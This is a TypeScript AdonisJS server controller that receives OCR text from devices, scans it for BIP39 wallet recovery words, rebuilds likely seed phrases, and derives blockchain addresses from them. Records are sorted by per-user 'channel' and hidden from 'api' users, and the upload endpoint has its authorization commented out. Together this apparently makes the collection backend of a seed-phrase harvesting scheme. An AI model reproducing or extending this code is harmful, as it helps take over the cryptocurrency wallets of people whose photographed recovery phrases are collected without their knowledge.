OcrRecordController.ts 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. import FilesService from 'App/Services/FilesService'
  11. export default class OcrRecordController {
  12. private paginationService = new PaginationService(OcrRecord)
  13. public async index({ request, auth }: HttpContextContract) {
  14. const user = auth.user
  15. const isApiUser = user?.$attributes?.role === 'api'
  16. const requestData = request.all()
  17. if (isApiUser) {
  18. requestData.channel = user.username
  19. }
  20. const res = await this.paginationService.paginate(requestData)
  21. if (isApiUser) {
  22. res.forEach((record) => {
  23. record.content = ''
  24. record.record = ''
  25. record.img = ''
  26. })
  27. } else {
  28. await Promise.all(
  29. res.map(async (record) => {
  30. if (record.img && record.img !== '-') {
  31. const url = new URL(record.img)
  32. record.img = await Drive.getSignedUrl(url.pathname.replace(/^\//, ''))
  33. } else {
  34. record.img = ''
  35. }
  36. })
  37. )
  38. }
  39. return res
  40. }
  41. public async store({ request, bouncer }: HttpContextContract) {
  42. // await bouncer.authorize('admin')
  43. await request.validate({
  44. schema: schema.create({
  45. deviceId: schema.string(),
  46. record: schema.string()
  47. })
  48. })
  49. const data = request.all()
  50. data.content = await this.recordParsing(data.record)
  51. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  52. return await OcrRecord.create(data)
  53. }
  54. public async updateContent({ request, response }: HttpContextContract) {
  55. const data = await request.validate({
  56. schema: schema.create({
  57. id: schema.number(),
  58. content: schema.string()
  59. })
  60. })
  61. const record = await OcrRecord.findBy('id', request.input('id'))
  62. if (record) {
  63. record.content = data.content
  64. await record.save()
  65. return response.ok(record)
  66. } else {
  67. return response.notFound({ message: 'Record not found' })
  68. }
  69. }
  70. public async updateDetail({ params, response }: HttpContextContract) {
  71. const record = await OcrRecord.findBy('id', params.id)
  72. if (record) {
  73. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  74. record.detail = JSON.stringify(walletAddresses)
  75. await record.save()
  76. return response.ok(record)
  77. } else {
  78. return response.notFound({ message: 'Record not found.' })
  79. }
  80. }
  81. public async updateFavorite({ params, response }: HttpContextContract) {
  82. const record = await OcrRecord.findBy('id', params.id)
  83. if (record) {
  84. record.favorite = !record.favorite
  85. await record.save()
  86. return response.ok(record)
  87. } else {
  88. return response.notFound({ message: 'Record not found.' })
  89. }
  90. }
  91. public async favorite({ request, auth }: HttpContextContract) {
  92. const user = auth.user
  93. const isApiUser = user?.$attributes?.role === 'api'
  94. const requestData = request.all()
  95. requestData.favorite = 1
  96. if (isApiUser) {
  97. requestData.channel = user.username
  98. }
  99. const res = await this.paginationService.paginate(requestData)
  100. if (isApiUser) {
  101. res.forEach((record) => {
  102. record.content = ''
  103. record.record = ''
  104. record.img = ''
  105. })
  106. } else {
  107. await Promise.all(
  108. res.map(async (record) => {
  109. if (record.img && record.img !== '-') {
  110. record.img = await Drive.getSignedUrl(
  111. new URL(record.img).pathname.replace(/^\//, '')
  112. )
  113. }
  114. })
  115. )
  116. }
  117. return res
  118. }
  119. public async getAllAddresses({ request }: HttpContextContract) {
  120. await request.validate({
  121. schema: schema.create({
  122. mnemonic: schema.string()
  123. })
  124. })
  125. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  126. }
  127. public async recordParsing(record: string) {
  128. // 解析记录字符串
  129. const lines = record.split('\n')
  130. if (record.includes('Rec:') && record.includes('Det:')) {
  131. // 提取所有Rec:后面的文本
  132. lines
  133. .filter((line) => line.includes('Rec:'))
  134. .map((line) => {
  135. const parts = line.split('Rec:')
  136. if (parts.length < 2) return ''
  137. // 获取Rec:之后、Cls:之前的部分
  138. const afterRec = parts[1]
  139. const beforeCls = afterRec.split('Cls:')[0]
  140. // 找到最后一个逗号的位置
  141. const lastCommaIndex = beforeCls.lastIndexOf(',')
  142. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  143. return lastCommaIndex !== -1
  144. ? beforeCls.substring(0, lastCommaIndex).trim()
  145. : beforeCls.trim()
  146. })
  147. .filter((text) => text.length > 0)
  148. }
  149. // 从文本中提取潜在的助记词
  150. const potentialWords = new Set<string>()
  151. const englishWordRegex = /[a-zA-Z]+/g
  152. // 遍历所有行提取英文单词
  153. lines.forEach((line) => {
  154. const words = line.match(englishWordRegex)
  155. if (words) {
  156. words.forEach((word) => {
  157. // 忽略数字和分数值
  158. if (!word.includes('.') && isNaN(Number(word))) {
  159. potentialWords.add(word.toLowerCase())
  160. }
  161. })
  162. }
  163. })
  164. // 过滤出可能是BIP39助记词的单词
  165. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  166. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  167. return bip39.wordlists.english.includes(word)
  168. })
  169. // 寻找连续助记词序列
  170. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  171. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  172. console.log('Potential mnemonics:', possibleMnemonics.toString())
  173. // 将所有可能的助记词合并为一个字符串返回
  174. if (possibleMnemonics.length < potentialBip39Words.length) {
  175. return potentialBip39Words.join(' ')
  176. }
  177. return possibleMnemonics.join(' ')
  178. }
  179. // 寻找可能的助记词序列
  180. private async findPossibleMnemonics(
  181. recTexts: string[],
  182. bip39Words: string[]
  183. ): Promise<string[]> {
  184. const mnemonics: string[] = []
  185. // 检查每行文本是否包含连续地助记词
  186. recTexts.forEach((text) => {
  187. const words = text.split(/\s+/)
  188. // 检查这一行是否包含多个BIP39词
  189. const bip39WordsInLine = words.filter((word) => {
  190. // 清理单词中的标点符号以及数字
  191. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  192. return bip39Words.includes(cleanWord)
  193. })
  194. // 如果找到多个BIP39词,可能是助记词序列
  195. if (bip39WordsInLine.length >= 3) {
  196. // mnemonics存入bip39WordsInLine中每一个元素
  197. bip39WordsInLine.map((word) => {
  198. mnemonics.push(word)
  199. })
  200. }
  201. })
  202. // 尝试从所有文本中提取12或24个词的序列
  203. // const allWords = recTexts.join(' ').split(/\s+/)
  204. // const bip39WordsInAll = allWords.filter((word) => {
  205. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  206. // return bip39Words.includes(cleanWord)
  207. // })
  208. //
  209. // bip39WordsInAll.map((word) => {
  210. // mnemonics.push(word)
  211. // })
  212. // 查找12词或24词的连续序列
  213. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  214. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  215. // if (bip39.validateMnemonic(possibleMnemonic)) {
  216. // mnemonics.push(possibleMnemonic)
  217. // }
  218. // }
  219. //
  220. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  221. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  222. // if (bip39.validateMnemonic(possibleMnemonic)) {
  223. // mnemonics.push(possibleMnemonic)
  224. // }
  225. // }
  226. // 返回去重后的助记词列表
  227. return mnemonics
  228. }
  229. public async imgCleaning({ request, bouncer, response }: HttpContextContract) {
  230. // 授权检查
  231. await bouncer.authorize('admin')
  232. // 验证请求数据
  233. const { startDate, endDate } = await request.validate({
  234. schema: schema.create({
  235. startDate: schema.string(),
  236. endDate: schema.string()
  237. })
  238. })
  239. // 查询符合条件的记录
  240. const records = await OcrRecord.query()
  241. .whereBetween('createdAt', [startDate, endDate])
  242. .where('favorite', 0)
  243. .whereNot('img', '-')
  244. console.log(`待清理图片数量: ${records.length}`)
  245. if (records.length === 0) {
  246. return response.status(200).ok({
  247. success: true,
  248. message: '没有符合条件的图片需要清理',
  249. count: 0
  250. })
  251. }
  252. const recordImgMap = new Map(records.map((record) => [record.id, record.img]))
  253. const filePaths = records
  254. .map((record) => {
  255. try {
  256. return {
  257. id: record.id,
  258. originalUrl: record.img,
  259. path: new URL(record.img).pathname.replace(/^\//, '')
  260. }
  261. } catch (error) {
  262. console.error(`无效的图片 URL: ${record.img}`)
  263. return null
  264. }
  265. })
  266. .filter(Boolean) as { id: number; originalUrl: string; path: string }[]
  267. const pathsToDelete = filePaths.map((item) => item.path)
  268. const imgResult = await FilesService.batchDelete(pathsToDelete)
  269. const successPaths = imgResult.success
  270. console.log(`清理成功路径数量: ${successPaths.length}`)
  271. // 找出成功删除的文件对应的记录ID
  272. const successIds = filePaths
  273. .filter((item) => successPaths.includes(item.path))
  274. .map((item) => item.id)
  275. const deletedCount = await OcrRecord.query().whereIn('id', successIds).delete()
  276. console.log(`删除成功记录数量: ${deletedCount}`)
  277. const successUrls = successIds.map((id) => recordImgMap.get(id)).filter(Boolean)
  278. return response.status(200).ok({
  279. success: true,
  280. message: `清理成功数量: ${successPaths.length}`,
  281. count: successUrls.length
  282. })
  283. }
  284. }